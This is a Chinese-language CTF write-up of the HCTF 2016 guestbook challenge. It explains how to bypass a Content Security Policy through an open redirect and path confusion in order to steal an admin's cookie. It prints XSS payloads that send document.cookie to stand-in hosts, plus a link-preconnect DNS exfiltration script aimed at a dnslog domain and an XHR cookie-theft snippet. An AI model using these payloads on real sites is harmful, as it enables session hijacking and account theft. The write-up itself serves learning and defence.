页面目录如下:

register.php注册页面。

user.php可发送消息给其他用户。

profile.php可配置参数添加用户头像(加载eval js文件)。

static存在redirect.php重定向页面。

看下csp规则:

default-src 'self';
script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw=';
font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline';
img-src 'self'

1、script没有开启unsafe-inline,也就是说不允许内联脚本(不能直接写js代码注入)
2、script只允许static目录,但这个目录下内容不可控
3、style-src开启了unsafe-inline而且是self
4、default-src为self,也就是站内请求都是被许可的

假如script开启了unsafe-inline的话,可以通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。这个题目就是hctf2016 guestbook的绕过csp思路

<scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

攻击目标获:取admin的cookie。

攻击思路:defalt-src是self,1、表示即使拿到cookie也只能在域内传送,所以只能将cookie传回注册用户afanti.user.php存在常规xss但是unsafe-inline不能写入js代码。要是引入js代码,引入的目录在/hctf2016_secret_area/static/这里不可控没法传入js,/hctf2016_secret_area/upload/这个目录我们可控(通过上传头像写入代码),但是这个目录没有在script-src内,所以通过重定向绕过csp.到我们可控的目录/hctf2016_secret_area/upload/

2、可以拿到cookie向域外传送:因为/hctf2016_secret_area/upload/可控,在上传头像中写入打开新页面来传递cookie.

3、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>类似rpo绕过csp.

主要利用浏览器和服务器解析不一致绕过csp,浏览器会加载static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,这是没有跨域的。但是服务器会把%2f解析,跳俩个目录返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402导致绕过csp,/upload我们上传内容可控。

攻击流程:

1.注册afanti用户并上传头像,攻击代码会将admin的cookie发送到afanti用户下

说下把script标签去掉,截图中没去,要不会报错

2、给admin发送如下消息

<scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

3.当admin用户访问时,加载js的时候,会通过redirect.php页面加载 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402这个js文件。

将admin的cookie发送给afanti用户。

4.afanti用户访问得到admin 的cookie

4.只是将上传头像内容改一下,把cookie传到外域测试。当管理员打开页面时,会打开新的页面并把cookie带出来。

测试:xhr设置到域外被default-src拦截。

link的prefetch被chrome的default-src被拦截:

link的preload也遵循csp规则,当as属性设置为image时,被csp的image-src拦截,假如设置的属性可以传递到外域,eg:img-src:*,就可以传递到外域了:

link的prerender在chrome通过测试,但是很迷触发方式不太清楚:

link中的preconnect(dns通道)最好用,可以chrome和firefox都能绕csp:

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io\">";
console.log(n0.innerHTML);
}

打到如下cookie:

cookie格式:

admin=hctf2o16com30nag0gog0; path=/
PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/

dnslog上的cookie:
_20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io
phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
_20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io
phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io 

最后,不是所有的页面都能够被预加载,当资源类型如下时:

URL中包含下载资源
页面中包含音频、视频
POST、PUT和DELET操作的ajax请求
HTTP认证
HTTPS页面
含恶意软件的页面
弹窗页面
占用资源很多的页面
打开了chrome developer tools开发工具

总结:

通过302跳转绕过js,跳到我们可控的目录来执行js。

1、有跳转目录(登录界面)

2、存在xss

3、可控目录我们可以上传图像等文件

---------------------------------------------------------------------------------------

如果没有unsafe-inline的助攻,而且都是self的话,这样也只能寻求站内的上传点。

以下不算是绕过csp,属于绕过上传的内容检测

1、上传的swf内容

1.CWS
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie); </script>
<link rel='import' href='/upload/1.cws'>

2、上传jpeg带有js的jpg图片。

https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

3、上传gif或者音频文件webp

https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

其他类型的以后在总结。

参考文章:

https://lorexxar.cn/2016/11/30/hctf2016-xss/

https://lorexxar.cn/2016/10/31/csp-then2/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

hctf2016_302跳转绕csp---总结的更多相关文章

  1. 阅读源码很重要,以logback为例,分享一个小白都能学会的读源码方法

    作为一个程序员,经常需要读一些开源项目的源码.同时呢,读源码对我们也有很多好处: 1.提升自己 阅读优秀的代码,第一可以提升我们自身的编码水平,第二可以开拓我们写代码的思路,第三还可能让我们拿到大厂 ...

  2. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  3. Web安全学习二

    目录 常见漏洞攻防 SQL注入 注入分类 按技巧分类 按获取数据的方式分类 注入检测 权限提升 数据库检测 绕过技巧 CheatSheet SQL Server Payload MySQL Paylo ...

  4. Web安全学习

    项目地址(参考):https://websec.readthedocs.io/zh/latest/basic/history.html 本文只能充当目录简介,具体还要自己深入学习. 序章 Web技术演 ...

  5. 牛客网 江西财经大学第二届程序设计竞赛同步赛 D.绕圈游戏-(跳青蛙游戏)找数的所有因子就可以了

    链接:https://ac.nowcoder.com/acm/contest/635/D来源:牛客网 D.绕圈游戏 433为了帮ddd提升智商,决定陪他van特殊的游戏.433给定一个带有n个点的环, ...

  6. CCF CSP 201803-1 跳一跳

    题目链接:http://118.190.20.162/view.page?gpid=T73 问题描述 近来,跳一跳这款小游戏风靡全国,受到不少玩家的喜爱. 简化后的跳一跳规则如下:玩家每次从当前方块跳 ...

  7. CSP 2019游记 & 退役记

    扶苏让我记录他AK CSP 的事实 ZAY NB!!! "你不配" 两年半的旅行结束了,我背着满满的行囊下了车,望着毫不犹豫远去的列车,我笑着哭了,笑着翻着我的行囊-- 游记 Da ...

  8. 全新的membership框架Asp.net Identity(2)——绕不过的Claims

    本来想直接就开始介绍Identity的部分,奈何自己挖坑太深,高举高打的方法不行.只能自己默默下载了Katana的源代码研究了好一段时间.发现要想能够理解好用好Identity, Claims是一个绕 ...

  9. Web 安全之内容安全策略 (CSP)

    内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本攻击 (XSS) 和数据注入等攻击. 这些攻击可用于实现从 ...

随机推荐

  1. Jquery中$与$.fn的区别

    Jquery中$与$.fn的区别 当今web开发往往离不开Jquery的使用,Jquery以其简洁的使用方式.良好的浏览器兼容性赢得了软件研发同行的青睐,作为其中的一员,自然也不例外,尽管刚开始时很排 ...

  2. C#读取MySql表字段出现System.Byte[]问题

     记录下,用了多字段拼接后在程序中查询出的结果为System.Byte[],而在数据库中查正常 解决办法为:加Convert转换编码   select CONVERT((CASE background ...

  3. django中的缓存

    对于一个动态网站来说,用户的每次访问都意味着对服务器的一次开销,当该服务器的并发访问非常大时,对于一个动态网站来说,开销会非常的大.所以对于大中型web应用来说,减轻服务器的性能瓶颈就很有必要 对于d ...

  4. 浅谈 Linux 下的 SSH1, SSH2

    SSH:Secure Shell .是一种安全协议. 常见的应用场景是远程控制台登陆. SSH1免费,SSH2收费.  其实 SSH 并不只是在 Linux 和 Unix  下使用,他们同样在 Win ...

  5. [SHOI2007]园丁的烦恼

    裸的二维数点 #include"cstdio" #include"cstring" #include"iostream" #include& ...

  6. 探索canvas画布绘制技术

    图片来自KrzysztofBanaś 下面我们开始尝试研究不同的绘图风格和技术 - 边缘平滑,贝塞尔曲线,墨水和粉笔,笔和印章和图案 -等等.事实证明,网上没有太多关于此的内容.在下面的示例中,您请大 ...

  7. 关系型数据库——主键&外键的

    一.什么是主键.外键: 关系型数据库中的一条记录中有若干个属性,若其中某一个属性组(注意是组)能唯一标识一条记录,该属性组就可以成为一个主键  比如   学生表(学号,姓名,性别,班级)  其中每个学 ...

  8. awk单行脚本快速参考

    AWK单行脚本快速参考 2008年4月28日编辑: Eric Pement eric [at] pement.org 版本 0.26翻译: 董一粟 yisudong [at] gmail.com 最新 ...

  9. 电话面试问答Top 50 --[伯乐在线]

    今年是2015年,在过去几年中,电面(电话面试)是筛选程序员职位候选人的最流行的方式.它让雇佣双方很容易互相了解对方,候选人不需要去未来雇主的所在地,面试官也不用做额外的安排.这是我介绍程序员面试问题 ...

  10. mysql免安装版配置+navicat测试

    好久之前就在mysql官网下载了mysql的包,但是一直没有安装.今天测试下. 下载好的mysql是一个zip压缩包,直接解压就可以了,然后改名为mysql,以免路径太复杂. 配置环境变量 把D:\A ...